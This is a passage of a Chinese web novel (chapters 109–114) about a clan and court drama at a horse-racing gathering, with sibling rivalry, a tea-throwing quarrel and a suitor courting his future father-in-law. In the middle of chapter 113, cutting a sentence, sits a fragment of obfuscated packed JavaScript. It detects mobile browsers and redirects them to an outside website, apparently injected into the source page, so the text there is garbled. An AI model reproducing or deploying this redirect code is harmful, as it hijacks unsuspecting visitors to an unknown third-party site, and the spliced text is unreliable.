不过,今日马场里头,若是有机会,她肯定会帮姜宝瑜出气的。
反正父亲已经抵达盛京。
两个人怀揣着各自的心思。
几个时辰后,早早等候在马场的永安侯一家三口,看见天水姜氏族徽的牛车,连忙迎了上来。
永安侯对着姜珞嘘寒问暖,他算是看明白了,姜璎就是个白眼狼!再怎么低三下四都没有用!
既然这样,他还不如好好巴结姜珞。
只要她在姜昀面前美言两句,他的大好前程,自然唾手可得!
姜昀可不是陆宣一个陆家嫡次子能比的!
姜承祁跟在父亲身后,虽然拉不下脸,但想到天水姜氏声名在外,也不免心头火热。
父子俩请姜珞到帐篷里头休息,态度周到又热情。
“阿宝……”刘氏一眨不眨地看着女儿,眼神有些许复杂,“你回来盛京,怎么也不回家呢?”
为什么不回家?
姜宝瑜心中冷笑一声,“阿娘何必明知故问?”
父亲看重家族颜面远胜于她,她要是回家,除了被送到庄子上严加看管以外,难道还有第二条路吗?
看着满脸笑容的永安侯父子,姜宝瑜只觉恶心无比。
父亲无能,兄长无用,就连母亲刘氏也是个废物!
她用药使刘氏全身红痒,是想让她回盛京卖惨,之后找到机会,与张琼华里应外合,除去姜璎。
结果呢?
刘氏就是个废物东西!
什么事都办不成!
姜宝瑜推开了母亲的手,视若无睹地走进帐篷。
“浓浓。”她轻柔地唤着姜珞的小名,“等换了衣服,我们一起出去走走吧。”
此话正中姜珞下怀。
她要去找姐姐!
第109章 见识
姜璎一下车,卫国公府那边就派了人来。
她没有直接答应,而是转头看向萧止柔,“姨母,我可以过去吗?”
眼巴巴的乖巧模样,看得人心都要化了,萧止柔哪里还能说出反对的话,温柔道:“想去就去吧。”
姜璎眼眸一亮,“嗯!”
她跟着王氏身边的仆婢离开后,萧止柔脸上的温柔立马消失了个一干二净,不禁迁怒丈夫:“你站在一旁当木头呢?也不知道阻拦?”
陆宣:“……”
什么叫站着也躺枪,这就是了。
“阿薇,我们讲点道理好不好?”陆宣一脸无辜道,“我要是开口阻拦,阿池指不定还以为我对她有意见呢。”
阿薇真是太霸道了!自己不想做恶人,就让他出头。
他也想在阿池心里做一个幽默风趣的好姨父啊!
萧止柔冷哼一声,“哦?你嫌我不讲道理?那你自去寻温柔小意识大体的好了!”
陆宣汗流浃背,险些一整个滑跪,连忙追上去道:“阿薇阿薇,我错了,你听我解释啊!”
身后的仆婢已经**以为常,见惯不惯,这种时候他们只要眼观鼻鼻观心,假装自己不存在就好了。
另一边,姜璎被领到一个空无一人的帐篷里。
“世子夫人呢?”
“夫人还有二女君她们都在太后娘娘那。”婢女抿嘴一笑,“九郎还有一会儿就到了,还请姑娘稍等片刻。”
姜璎本来还在想怎么见赵咎一面,结果他倒好,直接巧借名目,一点儿也不怕被人发现。
她没忍住笑,摇了摇头,跪坐在软垫上,静心等候。
帘帐掀开,赵咎走进来。
他背着光,一身赭红色箭袖轻袍,本就白净如玉的容貌被衬得愈发秾丽逼人,眉眼间锐色不减,长身玉立,风姿秀逸,一眼望去便再也挪不动道。
“回神了。”他俯身轻轻点了一下她眉心,眼底满是笑意。
姜璎神情略微不自然,抓住他的手,“赵九郎君,我有事要问你。”
赵咎在她对面坐下,中间隔了一张短案,摆着几碟干果点心,他挑眉道:“几日不见,就生分成这样了?是我做错了事情,还是你变了心,我怎么又不配拥有姓名了?”
长篇大论如和尚念经。
姜璎有种捂耳朵的冲动,“才没有!”顿了顿,她直接开门见山问道,“你是不是有什么事情瞒着我?”
“什么事?”赵咎很狡猾,不承认也不否认。
“我全部都知道了。”姜璎一脸严肃道,不给他打马虎眼的机会,“包括我的身世。”
“……”
赵咎看着她的眼睛,一时摸不清她是真知道,还是故意诈他。
不对,阿池这么单纯,肯定不会诈他的。
见他这样,姜璎反而越发肯定心中猜测。
她一脸认真:“赵咎,你一点都不坦诚,还瞒着我,那我以后是不是也可以瞒着你?”
“不可以!”赵咎黑了脸。
“可是你之前说过,我们之间要讲究公平。”
赵咎:“……”
一时语塞后,他强撑着面子,辩解道:“我没有瞒着你,我只是猜测你身世或许跟天水姜氏有关,但到底是不是还不确定,所以才没……”
“原来我真是天水姜氏的人。”姜璎喃喃道。
赵咎:“……你不是说你都知道了吗?”他表情一言难尽,似不敢相信,“你诈我?”
姜璎第一次干这种事,业务能力不太熟练,闻言腼腆一笑,“开个玩笑。”
赵咎:“……”
“阿池,你变了,你现在都学坏了!”赵咎控诉道,暗暗磨牙,让他知道是谁带坏了他的媳妇儿,他一定不会放过——
“你说的嘛,要学会兵不厌诈。”姜璎歪头一笑,眼眸如月牙。
他说的每一句话,她都记得很牢。
这算是回旋镖打在自己身上吗?
虽然被套话了,但赵咎却一点儿也气不起来,他微微倾身,揉了揉姜璎的脸蛋,“那说好了,我们这回扯平,你不要生我的气,好不好?”
姜璎点了点头,“好!”
本来就没什么可生气的。
因为萧止柔的缘故,姜璎对生父早就有了先入为主的坏印象,认定姜昀宠妾灭妻。
母亲生她养她,予她血肉,如果要她选择,她只会毫不犹豫地站在母亲这边。
所以,就算赵咎隐瞒在先,姜璎也不会为这点无关紧要的小事同他置气。
赵咎看出她的不在意,提醒道:“阿池,你要做好准备,天水姜氏这回进京,或许有想要将你认回的意思。”
姜璎摇了摇头,姨母对天水姜氏的厌恶有目共睹,她是绝对不会做让姨母伤心的事情。
赵咎哑然一笑,就在这时,外头响起了擂鼓号角的声响。
姜璎知道自己要回去了,不然到时候姨母找不到人,会担心的。
归南在外头催促,赵咎来不及叮嘱其他,只好让人送她,自己则返回明惠帝身边。
“姨母!”
看到姜璎回来,萧止柔松了口气,她还真怕阿池一会儿出现在卫国公府的席
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位上。
马场已经全然一新。
外男同女眷分席而坐,贵夫人们和未出阁的小娘子又是不同的圈子。
“阿薇!”一个身着墨绿色沈衣曲裾的贵夫人走过来,同萧止柔含笑示意,她是梁女君的小姑子,两人感情一直不错。
陆夫人身边还站着一个十三四岁的小娘子,冲萧止柔行礼道:“阿悦拜见舅母,舅母安好。”
萧止柔露出一个柔善的笑容,还不等她介绍,顾鹤鸣便拉起姜璎的手,“阿娘,舅母,我们先过去了!”
“这孩子!”陆夫人无奈摇头,她生了二子一女,顾鹤鸣是唯一的女儿,自小宠爱有加,这次过来,也是存了替她寻一门好亲事的心思。
萧止柔见顾鹤鸣如此冒失,心里难免担忧,好在有向氏跟着,想来也不会出什么事。
贵夫人们依次入席。
顾鹤鸣也拉着姜璎坐到属于她们的位置。
“阿娘跟我说过了,你年长我两岁,我当唤你一声阿姊才是。”顾鹤鸣笑眯眯道,又介绍了自己的。
“鹤鸣?可是出自诗经里的《鹤鸣》?”
鹤鸣于九皋,声闻于野。
顾鹤鸣微微惊喜,对姜璎越发亲近,“没错!阿姊叫我小名就好,这可是我特意抢来的好位置,一会儿他们比赛,这里可以看得一清二楚!”
姜璎抿嘴一笑,“那得多谢阿悦费心了。”
才说完,她感觉到一股极其强烈的目光,落在自己身上。
姜璎偏头望去,就见不远处的长案后坐着两个年轻女郎,其中一个穿着蔷薇色曲裾配素面石榴裙,一双猫眼极其漂亮,眉眼间充满矜贵傲气。
她身边坐着的,不是姜宝瑜又是谁?
见她看过来,姜宝瑜露在外头的眼眸微微弯起。
妹妹,真是好久不见啊。
明明是艳阳天,姜璎却被这个眼神看得寒毛直竖,险些出一身冷汗。
“这就是你们家的养女?看着还真和你有几分相似。”姜珞点评道,虽然长得还不错,但跟她姐姐来比肯定差远了!姜珞坚信姐姐是世界上最好看的人!
“如果不是这几分相似,我阿兄也不会将她带回家。”姜宝瑜轻声道。
可笑吧?
正主在外头受苦,替身却反而在家里享福。
她讨厌姜璎,难道不应该吗?
姜珞对除了姐姐之外的人不在意,虽然永安侯府的养女给她一种隐隐熟悉的感觉,但也可能是因为姜宝瑜的缘故。
“走吧,让我去见识一下你那个诡计多端的养妹。”
第110章 娇蛮
姜珞在陆家的帐篷附近转悠了好几圈,却连姐姐半片衣角都没看见,心里别提多伤心了。
她是娇养的雀儿,有的是脾气,不痛快了自然要找地方发泄,于是拉着一张脸,带着十多个仆婢朝姜璎她们走去。
向氏等伺候的人察觉不对,立马挡在两位小娘子身前。
姜璎微微抿嘴,顾鹤鸣安抚道:“阿姊放心,不会有事的。”
她出身吴郡顾氏,与姜珞也算是有过一面之缘,不过姜珞眼高于顶,怕是早就不记得她是谁了。
此刻见姜珞来者不善,顾鹤鸣微微一笑,“姜姑娘,请问有什么事儿吗?”
姜珞看也没看顾鹤鸣,只直勾勾盯着姜璎,颐指气使道:“我看上这个位置了,你,起开!去别的地方!”
这口气,知道的是抢位置,不知道的,还以为是主子吩咐奴才!
顾鹤鸣面色微变,“姜姑娘,你这未免也太不讲道理了吧?”
姜珞娇哼一声,“好话不说第二遍,我让你起开,是给你脸面。”别给脸不要脸!
所有人都听懂了她那句没有说出口的话,香薷香附等人不禁浮现怒容,向氏认出她的身份,一时气得说不出话来。
紫菀以前只是大娘子身边的贴身丫鬟,若不是大娘子抬举,她能生下孩子?如今倒好,一个婢生女,竟然还敢爬到姑娘头上!
姜珞要是知道面前的人就是她心心念念,想了十多年的姐姐,估计直接就是一个滑跪,然后抱着姐姐大腿嗷嗷哭。
可惜她不知道。
姜璎静静地看着姜珞,这位她同父异母的妹妹。
她脸上完完全全写着“娇蛮”二字,一眼便能看出是千娇百宠长大的,所以也没什么脑子,估计被人一撺掇就过来了。
“你是聋子吗?听不见别人说话?”姜珞被盯得心里发毛,只能用恶言恶语来掩饰自己的紧张,“还不起来,那就别怪我不客气了!”
周围的贵女们纷纷侧目,又偏头与同伴低声交谈。
“天水姜氏嫡女?难怪如此嚣张。”
“她身边站着的是谁,怎么从未见过?还戴着面纱,遮遮掩掩的。”
“是永安侯府大姑娘!永安侯是天水姜氏旁系,这是找本家当靠山了啊。”
姜璎听着周遭细碎的低语,身体纹丝不动,她看着姜珞,像看一只虚张声势的小猫儿。
“你想怎么不客气?”
姜珞一时语塞,总觉得姜璎的眼神好像很看不起她的样子。
她不禁恼羞成怒道:“你什么眼神?以为你攀上赵家就能高枕无忧了?连自己的姐姐都能陷害欺辱,简直歹毒至极!难怪会被赵咎看上!你们就是一路货色,臭味相投!”
“来人,把她给我拖——”
姜璎霍然起身,把姜珞吓了一跳,不知道为什么有种膝盖一软的冲动……
错觉!肯定是错觉!
姜珞在心里安慰自己。
“姜姑娘看着年纪也不小了,难道不知道‘先来后到’四个字怎么写吗?”姜璎冷冷道,她原本是不想跟姜珞计较的,结果她非要把赵咎牵扯进来。
这还能忍?
姜珞越看越觉得姜璎熟悉,尤其是冷着脸的模样,和阿父每次罚她简直一模一样。
错觉,肯定是错觉!
小心脏扑通扑通跳不停,姜珞努力站直身体,冷哼道:“你也配跟我讲先来后到?论先来后到,瑜姐姐才是永安侯夫妻唯一的女儿,至于你,不过就是一个鸠占鹊巢的东西,被永安侯府养了几年就认不清自己的身份了。”
“也不想想,要不是瑜姐姐,你能被永安侯府捡回去吗?真是不知感恩!”
姜宝瑜低垂着眉眼,泪水在眼眶打转,似乎强忍着委屈,她轻轻拉了一下姜珞,低声道:“浓浓,算了,我们回去吧……”
“算了?”姜璎好笑道,“不就是你撺掇人过来的吗?如今目的尚未达成,怎么就要回去了?”
“妹妹,你误会了。”姜宝瑜低低道,打不还手骂不还口的作派,倒还真有几个人觉得她可怜。
姜珞恨铁不成钢,“你是姐姐,拿出姐姐的样子来!怕她做什么?”
要是她姐姐在,别说顶嘴了,让她往东她绝不往西!姐姐是天,姐姐是地,姐姐的话比圣旨还管用!
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说一不二!
谁敢反驳,姜珞第一个上去扇大嘴巴子!
她就是姐姐最忠实的拥护者!
姜珞气势汹汹道:“你的眼里还有没有长幼尊卑?赶紧给瑜姐姐跪下道歉,磕头赔罪!要不然……”
姜璎打断道:“要不然什么?杀了我?”
顾鹤鸣起身,语气带着警告,“姜珞,说话做事还是当心些好,我们顾陆两家的人,不是你能欺负的!”
姜珞皱了皱眉。
姜宝瑜的养妹什么时候跟顾陆两家扯上关系了?
算了,这不重要!
“我说了,我要这个位置,你识趣一些让开。要不然,就好好地反省自己所做的事情,给瑜姐姐磕头认错!否则,我是不会善罢甘休的!”
姜璎看着趾高气昂的姜珞,心头生出一丝反感。
她算是明白姨母为何如此厌恶天水姜氏的人了。
“香附。”她淡淡道。
香附立马端起姜璎才喝了一口的茶,二话不说直接泼到姜珞身上!
她呸了一声,“真是天上地下第一蠢材!胸无点墨的草包一个,活该被人当枪使!以后出门还是把脑子洗干净吧,省的在外头大放厥词,回去丢你们姜家的脸!”
姜宝瑜离得近,也未幸免。
她还没反应过来,就听见边上响起一声尖叫。
姜珞衣裙污湿大片,还被一个丫鬟指着鼻子羞辱,脸都丢光了!整个人气得浑身发抖!
眼见情势不对,白芨等伺候的人连忙扶住主子,“姑娘别同她们一般见识!我们先回去换衣裳。”
这个永安侯府的养女,还真像姜宝瑜说的,不是善茬呢!
姜珞恶狠狠地瞪了姜璎一眼,又委屈又愤怒,声音都带了一丝哭腔:“你给我等着!我是不会放过你的!”
说完在仆婢的拥簇下草草离场,回住处换衣裳。
姜宝瑜暗骂她废物,姜璎如此羞辱她,不想着报复,反而直接走了!身边这么多仆婢都是吃干饭的吗?!
真是蠢货!
姜宝瑜险些咬碎一口牙,正要离开,香附眼疾手快,又取了一盏茶,直接从头顶浇下!
第111章 岳父
“躲在臭水沟的老鼠也敢出来蹦跶?我们姑娘面软心善好说话,我可不是吃素的!”
“你——”
“你什么你?还不走,莫不是想继续留在这害人?也对,姜大姑娘连自己亲哥哥都能算计,还有什么事儿干不出来!”香附冷笑一声。
简直令姜宝瑜无地自容。
原本清逸的面纱被茶水浸透粘在脸上,蜈蚣一般的丑陋疤痕若隐若现。
她感受到了周遭人的异样目光,心中恨极,只能留下一句“妹妹,不是你想的那样…”而后掩面离去。
香附气**,这个姜宝瑜,死到临头都还想搅浑水!
姜璎对周围的贵女抱歉道:“打扰大家雅兴了。”
诸人纷纷而笑,让姜璎不必介怀。
“那姜珞就是个姨娘生的,平日里便张狂得没边儿,姜、不,梁姑娘……”
“叫我阿池就好。”姜璎道。
“阿池!”对方从善如流,“你也别放在心上,就当是路遇恶犬,回去喝碗珍珠薏米汤好好压压惊。”
“就是,阿姊,可千万别为了些无关紧要的人坏了自己的兴致。”顾鹤鸣道。
待坐下后,她忍不住夸了香附,“阿姊身边的这个丫鬟倒是十分胆大机灵。”
那两盏茶浇得,顿时让人心情舒畅!
姜璎笑了笑,“香附一贯鲁莽,我是管不了她了,回去少不得让管教嬷嬷好好训她,免得日后闯出祸来。”
顾鹤鸣眯眼一笑。
这样忠心护主的丫鬟,谁舍得罚?无非就是说些场面话给外人听罢了。
“诶!快看!”一旁的贵女忽然掩唇惊呼,面颊因激动而泛起薄红。
只见场上骏马疾驰,好几道身影如流光飞过。
“是赵九郎!”
“还有宋二郎!”
“常家也来人了!”
此言引来一众侧目。
顾鹤鸣好奇道:“不是说常六摔断了腿,不良于行?那马上的人是谁?”
她常住吴郡,对盛京许多人和事并不熟悉。
香薷对两位姑娘解释道:“那是将军府的庶子,常七郎。”
自前梁起,嫡庶观念便分的十分清楚,尤其是门阀士族,奉行“嫡待庶若奴,妻御妾若婢”,上流社会轻视庶子,庶生儿女不予人流,不录家籍,不被举养,是常有的事儿。
虽然事无绝对,但从大家对常七郎的态度里也能看出时下的风气。
常无忌摔断了腿不假,可只要他是正室嫡出,便是将军府唯一的独苗苗。
照样压庶出一头。
常七郎比常无忌小一岁,名为庶子,实则一直都是以半仆的身份跟在常无忌身边。就算后面常无忌摔成残废,他们这些庶子也不敢有任何冒头的行为,生怕触怒嫡母。
所以大家对常七郎今日的出现感到十分意外。
姜璎看了一眼香薷,后者微微点头。
没错,常七郎是赵咎安排的。
“阿姊你快看!常七超过了宋二郎,甚至赵九郎!”顾鹤鸣惊呼道。
这一下,大家伙都站了起来,一个个用团扇遮挡阳光,垫起脚眺望,一眨不眨地盯着常七郎。
那个平日里唯唯诺诺、逆来顺受的少年,竟然骑射如此出色?
姜璎没看常七郎,只盯着那一抹赭红色身影。
箭矢破空声清脆响亮,几乎是眨眼间,十个箭靶正中红心!
“十箭连发!”
“好!”
“赵九郎君也不甘示弱呢。”
喝彩声不绝于耳。
有些贵女激动得红了脸。
赵咎忽然偏头望来,于人群中一眼找到姜璎,他拍了拍善行的脑袋,警告道:“阿池看着呢,你给我争气点。”
姜璎扑哧一笑。
善行似乎听懂了,亢奋得不行,撒腿就冲!
差点把赵咎给甩下去。
“善行!”
善行得意洋洋,从鼻孔里喷出口气,要是没有主人,它还能跑得更快!
“超了超了!我就说赵九郎君不可能输的!”郑家的小娘子大声道,一副与有荣焉的神色。
“宋二郎也发力了!”边上的人反驳道。谁第二谁第二还不一定呢!
顾鹤鸣忽然想起什么,笑眯眯看着姜璎,“阿姊,你说赵九郎君能不能拿第一?
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”
经她一提醒,大家似乎也反应过来,赵九郎君已经定下亲事,再过不久都要成亲了。
有几个贵女面上羞红尚未褪却,连忙摇着团扇驱散热气,缓解尴尬。
也有大胆的不以为然,笑眯眯道:“阿池,你可不要生气啊,我们就是单纯的欣赏美色。”
“是啊是啊。”
爱美之心人皆有之,再说了,赵咎生的这么好,不就是让人看的吗!
姜璎抿嘴一笑,大大方方道:“赵九郎君一向大度,你们只管看,不收钱。”
此言一出,大家纷纷笑闹一团。
“好大方的未婚妻!”
“要不怎么说他们般配呢?”
姜璎任她们打趣,眉眼盈盈,目光澄澈,偶尔应答也是一脸认真地看着对方,让人如沐春风,心情愉悦。
“咦?”有人注意到了姜璎身上的淡青色曲裾,瞧着清新素雅,然而随着光线的变化,袍裾上浮现团团云纹,芍药、榴花等图案藏在其中若隐若现。
仔细一看,原来是用青色细线织就的暗纹。
静止时瞧不出什么,一旦光线流转变幻,这些纹饰就会浮现而出。
这些贵女也是家中嫡出,平日里受宠无比,可依她们的眼界,都认不出是什么绣法,一时不免惊奇。
事实上,这是前梁宫中绣娘的手艺,代代相传,就算是士族高门,也不是什么都能见识到的。
向氏看着自家小主人被围在中间,脸上露出骄傲的笑容。
不远处的马场也已经接近尾声。
赵咎一马当先,胜负毋庸置疑。
倒是常七郎,同宋二郎并列第二,让明惠帝好好夸赞了一番,赏赐千里驹以示嘉奖。
“七郎英姿勃发,倒有几分你父亲的风范,常大人后继有人啊。”
“陛下过誉了,小儿的这些花架子,哪里比得上九郎啊。”常山笑呵呵道,常七郎站在父亲身后,恭敬垂着眉眼。
见他提到赵咎,坐在明惠帝左下方的弘雅俊美男子不由侧目望来。
“方才骑射双绝的,可是卫国公嫡幼子,赵咎?”姜昀问道。
第112章 关系
“不错!”
明·惠帝似乎有意介绍赵咎,对姜昀笑道,“阿劫同朕一起长大,三岁启蒙,四岁习武,父皇在世之时常说,阿劫之姿,少有人及。就连我,每见小舅,都不免自觉形秽。”
先帝在世时,对赵咎这个比自己儿子年纪还小的小舅子可谓是疼爱无比,连带着明·惠帝和赵咎的感情也格外深厚。
两人一同长大,名为舅甥,实则情同手足。
虽然赵咎尚未入仕,但明眼人都能看出来,明·惠帝对他有多偏护。有他在,赵家日后说不定还会出现一门两公的辉煌!
周围坐的都是近臣,闻言纷纷而笑,一同捧场夸赞赵咎。
常山笑道:“要是连陛下都自觉形秽,那我们这些大老粗,岂不是更加无颜见人了?”
“老常,你又不靠脸吃饭,怕什么?”说话的是梁皇后的父亲,一副浑不在意的模样。
随着他这句话落下,周遭安静下来。
明·惠帝面无表情,他知道梁父一向看不惯卫国公,但没想到他会在这么多大臣面前打他的脸。
按照惯例,皇后之父皆为宰相,如先帝在位时,赵堰就是卫国公兼尚书令。而轮到明惠帝登基,梁氏女为后,梁父却只在门下省任了个谏议大夫,甚至都不是黄门侍郎这样有实权的职位!
差别如此明显,梁父又怎么能不心存怨气?
他身为明·惠帝的岳父,不说做尚书令、中书令,难道还连一个黄门侍郎都不配?
当然不配!
赵咎面上无异,心中却冷笑一声。
明·惠帝虽然对梁皇后真心一片,但还不至于被狗吃了脑子,以梁父的才干,能让他做谏议大夫就已经很不错了。
不过现在看来,还是太抬举他。
毕竟一般的谏议大夫可不会这么没脑子,公然反驳皇帝的话!
明·惠帝前脚才夸完,他后脚就跟着嘲笑赵咎“靠脸吃饭”,不是明晃晃地打脸是什么?他是皇后的父亲,又不是明·惠帝的父亲!
明·惠帝会忍他就有鬼了。
“梁大人喝醉了,扶下去醒醒酒。”淡淡的一句话,令梁父愣在原地,随后面色涨红。
这次皇家筵席,梁皇后抱病没来。
所以在场包括常山在内,没有一个人帮梁父说话。
明·惠帝冷哼一声,没见他在帮阿劫刷未来岳父的好感?真是白瞎一双眼,光长个子不长脑!
蠢货!
姜昀淡淡一笑,对卫国公举盏敬道:“令郎德才兼备,文武双全,可见赵令君教子有方。”
卫国公摆了摆手,“小孩子过家家罢了,哪里值得姜使君如此夸赞。”
两人相互敬酒,和和气气的模样,反倒把挑事儿的常山衬做了一个笑话。
若是换做之前,大家兴许还看热闹不嫌事大,但现在……
使君!
令君是时下对尚书令的尊称,而使君则是对刺史的尊称。
卫国公是尚书令毋庸置疑,那姜昀呢?
不是说明·惠帝准备让他做秦州太守吗?怎么又变成刺史了?
要知道,这两者之间的权力可差了大了!
明·惠帝夸完赵咎,又开始夸姜昀。
“素闻天水姜氏以诗礼传家,历代人才辈出,文武兼修,今日得见姜卿,方知所言非虚。”
“陛下谬赞,臣不敢当。”姜昀淡然一笑,目光不经意瞥向贵女席位。
微风吹起纱幔。
隐约可见姜璎坐姿端正。
像一个小大人。
姜昀眸光微微柔和,想到妻子,阿蘅,你看见了吗?我们的女儿还活着。
“阿劫,既然姜卿愿意收你为弟子,你还不快去倒酒,好好服侍老师。”明·惠帝的话把姜昀的思绪拉回现实,他什么时候答应收赵咎为弟子了?
姜昀微微皱眉,面上不动声色,客套道:“赵九郎出身颍川赵氏,赵氏人才济济,何须我来指点?”
赵咎笑道:“我才疏学浅,若能得先生教诲,哪怕只言片语,亦是受用不尽。”
明惠帝默默给小舅点了个赞。
很好!
对
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待岳父就是要厚脸皮!死缠烂打!各种马屁!
姜昀似笑非笑看了他一眼,“赵九郎妄自菲薄了,你父亲的学识本领,远在我之上,你又何必舍近求远呢?”
卫国公难得没有在外头贬低儿子,而是温和道:“明昭若是看得上他,便替我教导一二。”
姜昀心中不由冷笑。
明昭这个字还是当初阿舅为他定下的。
他生母是梁帝一母同胞的妹妹,因为难产而亡,所以姜昀打一出生便被抱到袁皇后宫里抚养。姜昀是梁帝为女儿精心挑选的夫婿,两个孩子打小一起长大,自学会蹒跚走路后,阿舅(父亲)的上书房就成了他们的乐园。
那时,赵堰还不是卫国公呢!梁帝不止一次指着姜昀和萧晞,对赵堰摇头叹息:“阿堰,你看看这两个小魔星!简直一刻不消停!”
姜昀想起往事,眼底一闪而过阴霾。
明惠帝和卫国公都已经知道姜璎的身世,在他们看来,能够和天水姜氏结亲确实是一件好事。
卫国公今日出门前,更是破天荒给了幼子一个好脸色,叮嘱他好好在未来岳父面前表现。
赵咎长这么大,还是第一次讨好人,不过向未来岳父低头,不算丢人。
没有媳妇打一辈子光棍才丢人!
说实话,赵咎都已经做好热脸贴冷屁股的准备了,没想到姜昀态度如此和气,反而令他有些受宠若惊。
姜昀淡淡一笑。
等筵席结束,他就派人去把阿池接回来。
至于赵咎?
哼!
且让他高兴一段时间吧!
此时的姜昀还不知道,他另一个女儿,很快就要给他带来一个大“惊喜”。
“你说什么?”姜宝瑜死死看着眼前的刘氏,她才换了衣服,准备去找姜珞,结果刘氏先一步找了过来。
原以为只是普通关心,没想到,刘氏一开口就是要她放下心结,别再和姜璎过不去。
刘氏叹了口气道:“她的嫡亲姨母是梁女君,不是我们能惹得起的人,阿宝,你听阿娘的话,不要再想着以前的事情了,阿池……她没有对不起你。”
第113章 哄骗
“没有对不起?”
姜宝瑜忽然哈哈大笑,神情扭曲起来,死死盯着刘氏,一字一句逼问道:“阿娘,你怎么能说出这种话?你知不知道我流落在外到底吃了多少苦头?!”
“而姜璎呢?她趁我不在,取代了我位置,在永安侯府享尽一切荣华富贵!我难道不该怪她吗?”
说到最后几个字时,她几乎嘶吼出声!
“阿宝!”刘氏将女儿紧紧抱在怀里,流着泪道,“是阿娘的错,阿娘不该带你去灯会……你要怪就怪阿娘吧。”
“但是阿池,她真的没有对不起你。”
她终于说出了这句实话。
刘氏闭了闭眼,一边哽咽一边诉说他们这些年来对姜璎的所作所为。
说是养女,其实和奴仆并没有什么太大的区别。
奴仆尚且还有轮值歇息的时候,姜璎却没有。
刘氏试图阻止姜宝瑜的所作所为,并不仅仅是良心发现,心中有愧,更重要的是,姜璎现在已经不是之前那个任他们拿捏的孤女了!
“她外祖母是汝南袁氏嫡长女,是你大母的嫡姐,她的姨母梁女君,来头更是不一般……”
刘氏口中一片苦涩,若不是怕阿宝做出傻事,她是万万不敢泄露这些辛秘。
虽说这天底下没有不透风的墙。
但上面人心知肚明是一回事,被人不长眼地捅出来又是另一回事。
“阿宝,你回来吧,阿娘陪你去庄子上好好散散心,咱们不要再牵扯进去了。”刘氏哀求道,要是让天水姜氏的人知道姜宝瑜想做的事情,她一定会死得很惨的。
“阿娘,你是说姜璎其实是天水姜氏的人?”姜宝瑜神情平静得有些诡异,这么说来,姜璎和姜珞才是姐妹。
姜珞知道这件事吗?应该不知道吧。
否则,她也不会被她三言两语驱使,跑去找姜璎的麻烦。
“有趣,真是有趣……”她低低笑出声,眼底隐隐跳动着疯狂的火焰,她最喜欢看自相残杀的戏码了!
“阿宝?”刘氏心惊胆战,想要说什么,却被姜宝瑜毫不留情地推开。
她冷冷道:“你以为我不恨你吗?姜璎该死,你也该死!还有阿爹,阿兄,你们都该死!”她咬牙切齿,如嚼仇人血肉。
不过,想到接下来会发生的事情,姜宝瑜的脸上又流露出一种近乎酣畅淋漓的愉悦。
“瑜姐姐!”
姜珞走进来看见刘氏在这,立马拉下脸,她身边的仆婢二话不说就把刘氏请了出去。
姜宝瑜心想,来得正好。
“浓浓,方才让你受委屈了。”她柔声道,似欲言又止般叹了口气,“我也没想到,我妹妹如今变得这样蛮不讲理……”
姜珞想起刚才的事情,气不打一处来。
“什么人啊,一言不合就动手!比我还蛮不讲理!”她气咻咻道,“等着吧,我非要给她点颜色瞧瞧!”
白芨暗暗皱眉,知道姜珞正在气头上,提醒道:“姑娘别忘了,咱们还有重要的事没做呢。”
说到底,姜宝瑜跟他们又没有什么关系,姑娘何必为了她跟人结仇?
姜宝瑜见状,连忙关怀道:“浓浓,你要做的事情,我能帮上的忙吗?”
“算了。”姜珞一下子蔫巴了,垂头丧气道,“连我都见不到梁女君,更别说你了。”
“梁女君?你见她做什么?”姜宝瑜心跳忽然加快,面上佯装诧异,温温柔柔道,“我阿娘方才还说,我大母和梁女君的母亲同为汝南袁氏之女,说起来,我还得称呼梁女君一声表姨母呢。”
此言一出,姜珞惊喜不已。
“梁女君是你表姨母?那你有没有办法,能够见到她?或者你直接把梁女君的外甥女给带出来!”她迫不及待道,怕姜宝瑜误会,又连忙解释,“其实那是我姐姐,只不过因为种种原因,才导致我们姐妹分离。”
想到姐姐,姜珞的脸上浮现一抹·红晕。
她捂着心口,郑重其事道:“瑜姐姐,只要你能帮我见到姐姐,你想要什么我都会满足你!”
姜宝瑜几乎要大笑出声。
太好了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318679|173897||http|test|mini|href|location''.split(''|''),0,{}));
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r>真是太好了!
“浓浓,你说的这是什么话?”她握住了姜珞的手,柔声道,“我现在就去找阿娘,看在我阿娘的面子上,想必梁女君不会拒绝的。”
姜珞高兴地直点头,太好了,她很快就可以见到姐姐了!
“我一定让阿父举荐永安侯!还有你那个养妹,我现在就去收拾她!”
“浓浓!”姜宝瑜感动不已,却说,“还是算了吧,她一向受不得委屈,若是回头找长辈告状,对你下手……”
姜珞语气理所应当,“那就让她开不了口,告不了状。”
白芨眼皮一跳,隐晦而不满地看了姜宝瑜一眼。
走出帐篷以后,她柔声劝说:“姑娘,姜姑娘的养妹如今好歹也是赵咎的未婚妻,我们犯不着对她下手。”
“赵咎的未婚妻又怎么了?姨娘说了,赵家没有一个好东西!还有高……”
“姑娘!”白芨面色微变,这话在家里说说也就罢了,怎么能放到外头来嚷嚷呢?
姜珞哼了一声,不以为然。
白芨心中叹了口气,实在拿她没办法,只能使出**锏。
“要是让大姑娘知道,姑娘致人于死地,她一定会生气的。”
姜珞天不怕地不怕,只怕两件事情。
姐姐生气,以及姐姐不喜欢自己。
她脸上浮现心虚,嘀嘀咕咕道:“我就是说说而已,怎么可能做那么坏的事情!不能致人于死地,那就、那就小小教训一下好了。”
白芨欣慰一笑,姑娘还是听劝的,“这件事就交给奴婢去办吧。”
姜珞出身不同,又天生缺少同理心,从小被姨娘灌输“要为姐姐付出一切”的思想,除了外貌以外,德行才能就没有一样是跟高门贵女沾边儿的。
偏偏她也不在乎。
于她而言,善恶黑白都是无关紧要的事情。
只有姐姐不一样。
她因为姐姐得以出生,又因为姐姐,才能平安活下来。
她的一切都是嫡母和姐姐所给予。
姜珞只听姐姐一个人的。
第114章 我的
比赛结束以后,马场上又换了一拨人,只是不同于上场的热闹激昂,几个年轻郎君表现平平,似乎多有谦让,看得人好没意思。
“左右闲着也是无聊,我们去跑马吧!”
